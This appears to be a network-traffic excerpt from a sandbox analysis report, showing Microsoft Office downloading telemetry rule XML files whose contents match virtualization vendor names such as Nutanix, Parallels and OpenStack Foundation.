2024-12-08 09:47:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.8	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:49 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:49 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094749Z-r1cf579d778t6txphC1EWRsd4400000005g0000000001u7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:49 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.8	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:49 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7407b41f-701e-0098-7b04-48395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094749Z-r1cf579d778d5zkmhC1EWRk6h800000005gg0000000014kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:51 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094751Z-r1cf579d778qlpkrhC1EWRpfc800000005r0000000001e9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:51 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094751Z-r1cf579d778kr8xrhC1EWRfkun00000005k00000000008wb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:52 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:51 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094751Z-r1cf579d778v97q7hC1EWRf95c00000004h0000000003tc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:51 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094751Z-r1cf579d778w59f9hC1EWRze6w0000000570000000002u8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:51 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094751Z-r1cf579d778z4wflhC1EWRa3h0000000054g000000000nw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:53 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094754Z-r1cf579d778z4wflhC1EWRa3h00000000510000000002863 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:54 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:53 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094754Z-r1cf579d7782ctslhC1EWRfbrw00000005fg000000002b7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:54 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:53 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094753Z-r1cf579d778v97q7hC1EWRf95c00000004r0000000000myd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:54 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:53 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094754Z-r1cf579d778x776bhC1EWRdk8000000004x0000000004d96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:53 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
